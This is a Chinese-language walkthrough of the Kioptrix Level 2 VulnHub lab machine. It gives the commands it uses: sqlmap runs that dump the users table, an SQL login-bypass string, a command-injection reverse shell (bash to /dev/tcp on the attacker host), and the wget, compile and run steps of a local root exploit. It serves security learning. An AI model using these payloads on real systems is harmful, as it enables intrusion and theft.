当前位置: 代码迷 >> 综合 >> 【writeup】Kioptrix Level 2 靶机
  详细解决方案

【writeup】Kioptrix Level 2 靶机

热度:34   发布时间:2024-02-22 23:05:35.0

【writeup】Kioptrix Level 2 靶机

  • 前言
  • 过程
    • 信息收集
    • 漏洞利用
      • 1、SQL注入漏洞利用。
      • 2、命令注入漏洞利用
    • 本地提权
  • 过程总结

前言

靶机环境:https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
我的kali攻击机IP:192.168.1.7
靶机IP:192.168.1.9

过程

下载靶机后,导入到VMware中。目标就是获取靶机root权限。
在这里插入图片描述

信息收集

1、通过nmap扫描获取靶机IP,得到靶机IP地址为192.168.1.9

命令:nmap -sn 192.168.1.0/24

在这里插入图片描述
2、通过nmap扫描获取靶机开放的服务端口及操作系统信息。
还是老样子先看看80/443有些什么东西。

命令:nmap -sS -T5 -A -P- 192.168.1.9

在这里插入图片描述
在这里插入图片描述

漏洞利用

1、SQL注入漏洞利用。

浏览器访问了下80端口,是个登录的页面。https也尝试了下,貌似443端口不是开放的HTTPS服务。
在这里插入图片描述
尝试用sqlmap跑了下,最后得到了账号密码。

命令:sqlmap -u "http://192.168.1.9/index.php" --data "uname=1&psw=1&btnLogin=Login" --dbs --batch --level 4 --risk 3

得到数据库:webapp
在这里插入图片描述

命令:sqlmap -u "http://192.168.1.9/index.php" --data "uname=1&psw=1&btnLogin=Login" --dbs --level 4 --risk 3 -D "webapp" --tables

得到表名:users
在这里插入图片描述

命令:sqlmap -u "http://192.168.1.9/index.php" --data "uname=1&psw=1&btnLogin=Login" --dbs --level 4 --risk 3 -D "webapp" -T 'users' --columns

在这里插入图片描述

命令:sqlmap -u "http://192.168.1.9/index.php" --data "uname=1&psw=1&btnLogin=Login" --dbs --level 4 --risk 3 -D "webapp" -T 'users' -C 'id,password,username' --dump

获得用户名密码。尝试用admin登录,得到一个可以执行ping命令的页面。
在这里插入图片描述
在这里插入图片描述
获得账号密码后,我回头又重新看了下sqlmap的记录,发现其实可以不用账号密码登录。
“-6696’ OR 9422=9422-- HmVw”
可以直接用这段作为绕过登录。
在这里插入图片描述

2、命令注入漏洞利用

执行1.1.1.1&&id后,可以看到当前用户是apache。
在这里插入图片描述
执行1.1.1.1&&ls -la后,可以看到当前网站目录下有index.php和pingit.php
index.php是登录的页面,pingit.php就是执行ping命令的页面。
先想到的是写个webshell,但是文件的属主是root,当前用户对其没有写的权限。
(这里卡了一会,想找个可写又能访问的,未果。然后看到这两个文件拥有S的权限,尝试利用suid去提权,也未果。经过一番Google之后,才反应过来,还有其他的回连方式。)
在这里插入图片描述
本地执行nc -lvp 1111,打开监听模式。
网页执行1.1.1.1 & bash -i >& /dev/tcp/192.168.1.7/1111 0>&1
可以成功连上靶机。(这里使用msf的exploit/multi/handler连接也是可以的。)
在这里插入图片描述
在这里插入图片描述

本地提权

执行uname -a和lsb_release -a获取操作系统信息。
在这里插入图片描述
在这里插入图片描述
然后去搜索了下有没有相应的exploit。不知道为什么本地msf里的不能用,所以去exploit-db.com上去重新下载了个。
在这里插入图片描述
在这里插入图片描述
下载后,kali开了simpleHTTPserver,再下载到靶机本地,然后gcc编译。(编译虽然报了warning,Google下了貌似不影响。)

命令:python -m SimpleHTTPServer 8000
命令:wget http://192.168.1.7:8000/9542.c
命令:gcc -o 9542 9542.c -lcrypto

在这里插入图片描述
在这里插入图片描述
执行9542,成功获取root权限。
在这里插入图片描述

过程总结

1、同样还是要善用Google找答案。
2、虽然本次没用到,但学到了利用suid提权的方法。
3、学会了用simpleHTTPserver传文件。
4、知道了用uname -a和lsb_release -a查看操作系统信息。
5、这次尝试了很多exploit,总结来讲,用之前还是要先好好看看作者留的注释。
6、本次试验完全靠自己想的思路,没有参考任何别人的writeup,算是一个小小的突破吧。

  相关解决方案